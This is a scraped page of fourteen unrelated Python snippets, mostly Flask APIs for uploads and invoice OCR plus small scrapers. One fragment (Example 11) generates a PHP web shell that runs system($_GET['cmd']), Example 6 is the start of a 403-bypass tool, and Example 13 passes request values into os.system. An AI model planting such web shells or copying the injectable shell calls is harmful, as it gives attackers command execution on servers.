Ejemplo n.º 1
0
def DivideAPI():

    parse = reqparse.RequestParser()
    parse.add_argument('ip', type=str, help='错误的ip', default='192.168.5.1')
    parse.add_argument('username',
                       type=str,
                       help='错误的username',
                       default='root')
    parse.add_argument('password',
                       type=str,
                       help='错误的password',
                       default='123456')
    args = parse.parse_args()
    # 从前端请求中解析参数
    Router_ip = args.get('ip')
    username = args.get('username')
    Router_password = args.get('password')

    # 这里调用(操作/验证)脚本
    # 将Router fa0/0划分为两个子接口
    flag, message = excute(Router_ip, username, Router_password,
                           './scripts/Router.txt', socketio)
    data = {}
    ret = ReturnJ()
    ret.data = data
    ret.flag = flag
    ret.message = message
    return ret.toJson()
Ejemplo n.º 2
0
def main(**kwargs):
    parse = argparse.ArgumentParser(
        prog=script_name,
        usage='{} KEY_WORD'.format(script_name),
        description='A tiny downloader that scrapes the web',
        add_help=True,
    )
    parse.add_argument('-v',
                       '--version',
                       action='store_true',
                       help='Print version and exit',
                       required=False)
    parse.add_argument('KEY_WORD', nargs='*', type=str, help='search keyword')

    args = parse.parse_args()
    if args.version:
        print("%s: version %s" % (script_name, __version__))
        sys.exit()
    if args.KEY_WORD:
        search({
            "searchword": args.KEY_WORD[0].encode('gbk'),
            "searchtype": "-1"
        })
    else:
        parse.print_help()
Ejemplo n.º 3
0
def VlanAPI():
    parse = reqparse.RequestParser()
    parse.add_argument('ip', type=str, help='错误的ip', default='192.168.5.5')
    parse.add_argument('username',
                       type=str,
                       help='错误的username',
                       default='root')
    parse.add_argument('password',
                       type=str,
                       help='错误的password',
                       default='CISCO')
    args = parse.parse_args()
    # 获取当前文件夹id
    Switch_ip = args.get('ip')
    username = args.get('username')
    Switch_password = args.get('password')

    # 这里调用(操作/验证)脚本

    # 配置Switch1划分VLAN10和VLAN20

    flag, message = excute(Switch_ip, username, Switch_password,
                           './scripts/Split_Vlan.txt', socketio)
    data = {}
    ret = ReturnJ()
    ret.data = data
    ret.flag = flag
    ret.message = message
    return ret.toJson()
Ejemplo n.º 4
0
    def get(self):
        parse = reqparse.RequestParser()

        parse.add_argument('user_id', type=int, required=True)
        parse.add_argument('task_id', type=str, required=True)
        parse.add_argument('file_type', type=str, required=True)
        args = parse.parse_args()
        user_id = args['user_id']
        task_id = args['task_id']
        file_type = args['file_type']

        response_data = self.getInternal(user_id, task_id, file_type) 
        if response_data == "":
            response_packet = {
                "msg": 'bad request.',
                "ret": HTTP_400_BAD_REQUEST,
                "data": {}
            }
            return make_response(jsonify(response_packet), HTTP_400_BAD_REQUEST) # <- the status_code displayed code on console
        else:
            response_packet = {
                "msg": 'Access webpage success.',
                "ret": HTTP_200_SUCCESS,
                "data" : response_data,
            }
            return make_response(jsonify(response_packet), HTTP_200_SUCCESS) # <- the status_code displayed code on console
Ejemplo n.º 5
0
    def get(self):
        parse = reqparse.RequestParser()
        parse.add_argument('task_id', type=str, required=True)

        args = parse.parse_args()

        task_id = args['task_id']

        # retrieve file type
        conn = MySQLdb.connect(self.db_host, self.db_user, self.db_passwd,
                               self.db_name)
        with conn:
            cursor = conn.cursor()
            cursor.execute("SELECT file_type from tasks where task_id =%s",
                           (task_id, ))
            conn.commit()
            dataset = cursor.fetchall()

            # this task_id is not existed.
            if cursor.rowcount == 0:
                response_packet = {
                    "msg": 'Bad request.',
                    "ret": HTTP_400_BAD_REQUEST,
                    "data": {}
                }
                return make_response(jsonify(response_packet),
                                     HTTP_400_BAD_REQUEST)

            print('Total Row(s) fetched:', cursor.rowcount)

            for row in dataset:
                file_type = row[0]

        self.mFileType = file_type

        # return thumbnail picture for specific task_id
        filepath = UPLOAD_FOLDER + "/" + task_id + "_thumbnail." + self.mFileType
        print(filepath)

        with open(filepath, "rb") as image:
            image_b64encode_string = base64.b64encode(image.read())

        # result here: dict obj
        response_packet = {
            "msg": 'Access webpage success.',
            "ret": HTTP_200_SUCCESS,
            "data": {
                "task_id": task_id,
                "file_type": self.mFileType,
                "imageb64": image_b64encode_string,
            }
        }

        return make_response(
            jsonify(response_packet),
            HTTP_200_SUCCESS)  # <- the status_code displayed code on console
Ejemplo n.º 6
0
    def main(self):
        print("""
        
                ______                            _____                       
                | ___ \                          /  ___|                      
                | |_/ /_   _ _ __   __ _ ___ ___ \ `--. _   _ _ __   ___ _ __ 
                | ___ \ | | | '_ \ / _` / __/ __| `--. \ | | | '_ \ / _ \ '__|
                | |_/ / |_| | |_) | (_| \__ \__ \/\__/ / |_| | |_) |  __/ |   
                \____/ \__, | .__/ \__,_|___/___/\____/ \__,_| .__/ \___|_|   
                        __/ | |                              | |              
                       |___/|_|                              |_|     
                    author: summersec
                    version: 1.0
                    Github: https://github.com/SummerSec/BypassSuper         
        """)
        parse = optparse.OptionParser()
        parse.add_option(
            '-u',
            '--url',
            dest='url',
            help='Please Enter the Target Site! http://www.baidu.com')
        parse.add_option(
            '-t',
            '--threads',
            dest='threads',
            type=int,
            default=20,
            help='Please Enter the Threading Nums! Threads Default is 20!')
        parse.add_option('-f',
                         '--file',
                         dest='file',
                         type=str,
                         help='Targets From File! Targets must >= threads !')
        (options, args) = parse.parse_args()

        if options.url == None and options.file == None:
            parse.print_help()
            sys.exit(0)
        elif options.url != None:
            url = options.url
            self.UrlParse(url=url)

            self.result()
            self.Req(url)

        elif options.file != None:
            file = options.file
            t = options.threads
            self.result()
            self.URLS(file=file, nums=t)

        else:
            print(time.asctime() + " something is error!")
            pass
Ejemplo n.º 7
0
def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', help='Hostname to scan')
    parser.add_argument('-s',
                        help='Resolve the status for each URL',
                        action="store_true")
    parser.add_argument('-o',
                        help='Include urls not at the host',
                        action="store_true")
    parser.add_argument('--depth',
                        help='Depth of search. Default: 3',
                        default=3)
    return parser.parse_args()
Ejemplo n.º 8
0
def main():
    import argparse
    parse = argparse.ArgumentParser()
    parse.add_argument("--root",
                       type=str,
                       help="your http file root",
                       default='.')
    parse.add_argument("--port", type=int, help="http socket port", default=80)
    args = parse.parse_args()
    reg_ext_handler(".md", _md_handler)

    if platform.system() == 'Windows':
        os.startfile(f"http://localhost:{args.port}")

    start(args.root, args.port)
Ejemplo n.º 9
0
def main():
    parse = optparse.OptionParser("usage%prog -u<target url>")
    parse.add_option("-u",
                     dest="url",
                     type="string",
                     help="specify url address")
    (options, args) = parse.parse_args()
    url = options.url
    if url == None:
        print(parse.usage)
    else:
        imgTags = findImages(url)
        #print (imgTags)
        for imgTag in imgTags:
            print(imgTag)
            imgFileName = dowloadImages(imgTag)
            testForExif(imgFileName)
Ejemplo n.º 10
0
    def post(self):
        parse = reqparse.RequestParser()
        parse.add_argument('user_file', type=FileStorage, location='files')
        parse.add_argument('user_id', type=int, location='form')
        args = parse.parse_args()

        file = args['user_file']

        if file:
            if file.filename == '':
                response_data = {
                    "msg": 'Upload filename is null.',
                    "ret": HTTP_400_BAD_REQUEST
                }
                return make_response(
                    jsonify(response_data), HTTP_400_BAD_REQUEST
                )  # <- the status_code displayed code on console

            print("recieved a new file.")

            fext, s = self.allowed_file(file.filename)
            if s:
                if not os.path.exists(UPLOAD_FOLDER):
                    os.makedirs(UPLOAD_FOLDER)

                filename = secure_filename(file.filename)
                file.save(os.path.join(UPLOAD_FOLDER, filename))

                filename_with_path = os.path.join(UPLOAD_FOLDER, filename)

                md5filename = self.md5(filename_with_path)
                md5filename_with_ext = md5filename + "." + fext
                md5thumbnail_with_ext = md5filename + "_thumbnail." + fext

                # record this file info in db.
                url = "http://localhost:5000/api/insert/record"
                values = {
                    "user_id": args['user_id'],
                    "task_id": md5filename,
                    "file_type": fext
                }
                print("values=>", values)
                self.send_request(url, values)

                newfilename = os.path.join(UPLOAD_FOLDER, md5filename_with_ext)
                newfilename_thumbnail = os.path.join(UPLOAD_FOLDER,
                                                     md5thumbnail_with_ext)

                if os.path.exists(newfilename):
                    response_data = {
                        "msg": 'Please do not upload the file repeatedly.',
                        "ret": HTTP_400_BAD_REQUEST
                    }
                    return make_response(jsonify(response_data),
                                         HTTP_400_BAD_REQUEST)

                print("newfilename=>", newfilename)
                os.rename(filename_with_path, newfilename)

                try:
                    baseheight = 320
                    img = Image.open(newfilename)
                    hpercent = (baseheight / float(img.size[1]))
                    wsize = int((float(img.size[0]) * float(hpercent)))
                    img = img.resize((wsize, baseheight), Image.ANTIALIAS)
                    img.save(newfilename_thumbnail)
                except IOError:
                    print("cannot create thumbnail for '%s'" %
                          newfilename_thumbnail)

                #if not os.path.exists(PREPROC_FOLDER):
                #    os.makedirs(PREPROC_FOLDER)

                #destfile = os.path.join(PREPROC_FOLDER, md5filename_with_ext)
                #copyfile(newfilename, destfile)

                #self.preprocess_images(newfilename, preproc_filepath)

                response_data = {
                    "data": {
                        "user_id": args['user_id'],
                        "task_id": md5filename,
                    },
                    "msg": 'Upload file successfully',
                    "ret": HTTP_201_CREATED
                }
                return make_response(jsonify(response_data), HTTP_201_CREATED)
            else:
                response_data = {
                    "msg": 'Upload is not allowed filetype.',
                    "ret": HTTP_400_BAD_REQUEST
                }
                return make_response(jsonify(response_data),
                                     HTTP_400_BAD_REQUEST)

        else:
            response_data = {
                "status": 'user_file is invalid.',
                "status_code": HTTP_400_BAD_REQUEST
            }
            return make_response(jsonify(response_data), HTTP_400_BAD_REQUEST)
Ejemplo n.º 11
0
def signal_handler(signal, frame):

    print("\033[91m" + "\n[-] Exiting" + "\033[0m")

    exit()


signal.signal(signal.SIGINT, signal_handler)

parse.add_option("-u", "--url", dest="url", type="string", help="shell url ")
parse.add_option("-g",
                 "--generate",
                 dest="gene",
                 type="string",
                 help="shell name")
(opt, args) = parse.parse_args()
if opt.url == None and opt.gene == None:
    print(parse.usage)
    exit(0)
else:
    if opt.gene != None and opt.url == None:
        print(banner)
        shell_n = str(opt.gene)
        shell = shell_n + ".php"
        opfile = open(shell, "+w")
        evil_code = """
<?php
echo system($_GET['cmd']);
?>
"""
Ejemplo n.º 12
0
        browser.close()
        # die()

    # 写入下面的笔记
    a_notes = user_html_bs.select('.note-info a')
    browser = createNewBrowser()
    for a_note in a_notes:
        print(a_note)
        note_url = "https://www.xiaohongshu.com"+a_note.attrs['href']
        print(note_url)
        get_note.write_note_in_table(note_url,user_id,'',browser,mySession)


parse = optparse.OptionParser(usage='"usage:%prog [options] arg1"', version="%prog 1.0")
parse.add_option('-u', '--user', dest='user', type='str', metavar='用户', help='请输入用户主页链接')
s_args,args = parse.parse_args()
# print(s_args)
# print(args)
# print(s_args.user)
if s_args.user == None:
    print('请输入用户主页链接')
    die()

uurl = 'https://www.xiaohongshu.com/user/profile/' + s_args.user
# print(uurl)

# 连接数据库
engine = create_engine("mysql+pymysql://"+common.MYSQL_USER+":"+common.MYSQL_PWD+"@"+common.MYSQL_HOST+"/"+common.MYSQL_DB+"?charset=UTF8MB4")
# 创建会话
session = sessionmaker(engine)
mySession = session()
Ejemplo n.º 13
0
    def get(self):
        try:
            parse = reqparse.RequestParser()
            parse.add_argument('task_id', type=str, required=True)
            parse.add_argument('user_id', type=int, required=True)
            args = parse.parse_args()

            task_id = args['task_id']
            user_id = args['user_id']

            # retrieve file type from task_id
            conn= MySQLdb.connect(self.db_host, self.db_user, self.db_passwd, self.db_name)
            with conn:
                cursor = conn.cursor()

                cursor.execute("SELECT id from users where id = %s", (user_id, ))
                conn.commit()
                dataset = cursor.fetchall()
                if cursor.rowcount == 0:
                    raise ValueError("invalid user_id:", user_id)

                cursor.execute("SELECT file_type from tasks where task_id =%s ", (task_id, ))
                conn.commit()
                dataset = cursor.fetchall()
                # this task_id is not existed.
                if cursor.rowcount == 0:
                   raise ValueError("task_id is not existed.") 
                print('Total Row(s) fetched:', cursor.rowcount)

                for row in dataset:
                    file_type = row[0]

            self.mFileType = file_type

            if task_id and user_id and file_type:

                # attempt to retrieve info from backend directory.
                # bypass post2 if result exists.
                sdir = os.path.join(RESULT_FOLDER, task_id)
                response_file = os.path.join(sdir, 'response.json')
                if os.path.exists(sdir) and os.path.exists(response_file):
                    with open(response_file, 'r') as file:
                        json_string = json.load(file)
                        response_packet = {
                                "msg": 'Success.',
                                "ret": HTTP_200_SUCCESS,
                                "data": json_string,
                                }
                        return make_response(jsonify(response_packet), HTTP_200_SUCCESS) # <- the status_code displayed code on console

                res = self.post2(task_id, UPLOAD_FOLDER)

                if res['code'] == HTTP_400_BAD_REQUEST:
                    raise ValueError('bad request in post2 query')
                else:
                    IMGDIR=os.path.join(RESULT_FOLDER, task_id, "step1")   

                    # do tesseract to recognize the docnumber and doctype
                    print("CMD=>", TESS_CMD + " " + RESULT_FOLDER +"/" + task_id + "/step1/roi-DocNumber.jpg" + " docnumres -l lancejie_fapiao3")
                    if self.ocr_type == 'google':
                        os.system(TESS_CMD + " " + RESULT_FOLDER + \
                                "/" + task_id + "/step1/roi-DocNumber.jpg" + " docnumres -l lancejie_fapiao3")
                        os.system(TESS_CMD + " " + RESULT_FOLDER + \
                                "/" + task_id + "/step1/roi-DocType.jpg" + " doctyperes -l lancejie_shuipiao2")

                        with open("docnumres.txt") as file:  
                            docnumres = file.read().rstrip()
                            print("docnumres=>", docnumres)

                        with open("doctyperes.txt") as file:
                            doctyperes = file.read().rstrip()
                            print("doctyperes=>", doctyperes)
                    else:
                        if self.ocr_type == 'baidu':
                            fba=FetchBaiduApi.FetchBaiduApi(self.db_host, self.db_user, self.db_passwd, self.db_name)
                            responseBaiduData = fba.getInternal(user_id, task_id, file_type)
                            if responseBaiduData == "":
                                if self.ocr_policy == 'tryout':
                                    responseBaiduData = fba.getInternal(user_id, task_id, file_type)
                                    if responseBaiduData == "":
                                        responseBaiduData = fba.getInternal(user_id, task_id, file_type)
                                        if responseBaidudata == "":
                                            print("Internal error happened!")
                                            raise ValueError("Internal server error", HTTP_407_INTERNAL_ERROR )
                                else:
                                    self.ocr_type=="google"
                            else:
                                print("response=>", responseBaiduData)

                    with open(IMGDIR+"/roi-DocNumber.jpg", "rb") as image:
                        # base64 encode read data
                        # result: bytes
                        docnum_b64encode_bytes = base64.b64encode(image.read())
                        docnum_b64encode_string= docnum_b64encode_bytes.decode('utf-8')

                    with open(IMGDIR+"/roi-DocType.jpg", "rb") as image:
                        doctype_b64encode_bytes = base64.b64encode(image.read())
                        doctype_b64encode_string = doctype_b64encode_bytes.decode('utf-8')

                    if self.ocr_type == 'google':
                        response_data = {
                                "task_id": task_id,
                                "user_id": user_id,
                                "file_type": file_type,
                                "words_result": {
                                    "InvoiceNum": docnumres,
                                    "InvoiceCode": doctyperes,
                                },
                                "InvoiceNumEncode": docnum_b64encode_string,
                                "InvoiceCodeEncode": doctype_b64encode_string,
                            }
                    else: 
                        if self.ocr_type == 'baidu':
                            response_data = {
                                "task_id": task_id,
                                "user_id": user_id,
                                "file_type": file_type,
                                "InvoiceNumEncode": docnum_b64encode_string,
                                "InvoiceCodeEncode": doctype_b64encode_string,
                                "words_result": responseBaiduData,
                            }

                    # store the parse result
                    with open(os.path.join(sdir, "response.json"), 'w') as outfile:
                        # now encoding the data into json
                        # result: string
                        json_data=json.dumps(response_data)
                        outfile.write(json_data)

                    response_packet = {
                        "msg": 'Access webpage success.',
                        "ret": HTTP_200_SUCCESS,
                        "data" : response_data,
                    }
    
                    return make_response(jsonify(response_packet), HTTP_200_SUCCESS) # <- the status_code displayed code on console
            else:
                raise ValueError("invalid user_id ,task_id or file_type", user_id, task_id, file_type)

        except ValueError as err:

            print(err.args)
            if err.args[1] == HTTP_407_INTERNAL_ERROR: 
                response_packet = {
                    "msg": 'Server internal error.',
                    "ret": HTTP_407_INTERNAL_ERROR,
                    "data": {}
                }
                return make_response(jsonify(response_packet), HTTP_400_BAD_REQUEST) # <- the status_code displayed code on console
            else:
                response_packet = {
                    "msg": 'bad request.',
                    "ret": HTTP_400_BAD_REQUEST,
                    "data": {}
                }
                return make_response(jsonify(response_packet), HTTP_400_BAD_REQUEST) # <- the status_code displayed code on console
Ejemplo n.º 14
0
    def get(self):
        try:
            parse = reqparse.RequestParser()
            parse.add_argument('task_id', type=str, required=True)
            parse.add_argument('user_id', type=int, required=True)
            args = parse.parse_args()

            task_id = args['task_id']
            user_id = args['user_id']

            # retrieve file type from task_id
            conn = MySQLdb.connect(self.db_host, self.db_user, self.db_passwd,
                                   self.db_name)
            with conn:
                cursor = conn.cursor()
                cursor.execute("SELECT id from users where id = %s",
                               (user_id, ))
                conn.commit()
                dataset = cursor.fetchall()
                if cursor.rowcount == 0:
                    raise ValueError("invalid user_id:", user_id)

                cursor.execute(
                    "SELECT file_type from tasks where task_id =%s ",
                    (task_id, ))
                conn.commit()
                dataset = cursor.fetchall()
                # this task_id is not existed.
                if cursor.rowcount == 0:
                    raise ValueError("task_id is not existed.")
                print('Total Row(s) fetched:', cursor.rowcount)

                for row in dataset:
                    file_type = row[0]

            self.mFileType = file_type

            if task_id and user_id and file_type:
                # attempt to retrieve info from backend directory.
                # bypass post2 if result exists.
                sdir = os.path.join(RESULT_FOLDER, task_id)
                response_file = os.path.join(sdir, 'response.json')
                if os.path.exists(sdir) and os.path.exists(response_file):
                    with open(response_file, 'r') as file:
                        json_string = json.load(file)
                        response_packet = {
                            "msg": 'Success.',
                            "ret": HTTP_200_SUCCESS,
                            "data": json_string,
                        }
                        return make_response(
                            jsonify(response_packet), HTTP_200_SUCCESS
                        )  # <- the status_code displayed code on console

                if self.ocr_type == 'baidu':
                    fba = FetchBaiduApi.FetchBaiduApi(self.db_host,
                                                      self.db_user,
                                                      self.db_passwd,
                                                      self.db_name)
                    responseBaiduData = fba.getInternal(
                        user_id, task_id, file_type)
                    if responseBaiduData == "":
                        if self.ocr_policy == 'tryout':
                            responseBaiduData = fba.getInternal(
                                user_id, task_id, file_type)
                            if responseBaiduData == "":
                                responseBaiduData = fba.getInternal(
                                    user_id, task_id, file_type)
                                if responseBaiduData == "":
                                    print("Internal error happened!")
                                    raise ValueError("Internal server error",
                                                     HTTP_407_INTERNAL_ERROR)
                    else:
                        print("response=>", responseBaiduData)

                    response_data = {
                        "task_id": task_id,
                        "user_id": user_id,
                        "file_type": file_type,
                        "words_result": responseBaiduData,
                    }

                    # store the parse result
                    with open(os.path.join(sdir, "response.json"),
                              'w') as outfile:
                        # now encoding the data into json
                        # result: string
                        json_data = json.dumps(response_data)
                        outfile.write(json_data)

                    response_packet = {
                        "msg": 'Access webpage success.',
                        "ret": HTTP_200_SUCCESS,
                        "data": response_data,
                    }

                    return make_response(
                        jsonify(response_packet), HTTP_200_SUCCESS
                    )  # <- the status_code displayed code on console
                else:
                    raise ValueError("invliad ocr_type setting.")
            else:
                raise ValueError("invalid input setting:", task_id, user_id,
                                 file_type)

        except ValueError as err:

            print(err.args)
            if err.args[1] == HTTP_407_INTERNAL_ERROR:
                response_packet = {
                    "msg": 'Server internal error.',
                    "ret": HTTP_407_INTERNAL_ERROR,
                    "data": {}
                }
                return make_response(
                    jsonify(response_packet), HTTP_400_BAD_REQUEST
                )  # <- the status_code displayed code on console
            else:
                response_packet = {
                    "msg": 'bad request.',
                    "ret": HTTP_400_BAD_REQUEST,
                    "data": {}
                }
                return make_response(
                    jsonify(response_packet), HTTP_400_BAD_REQUEST
                )  # <- the status_code displayed code on console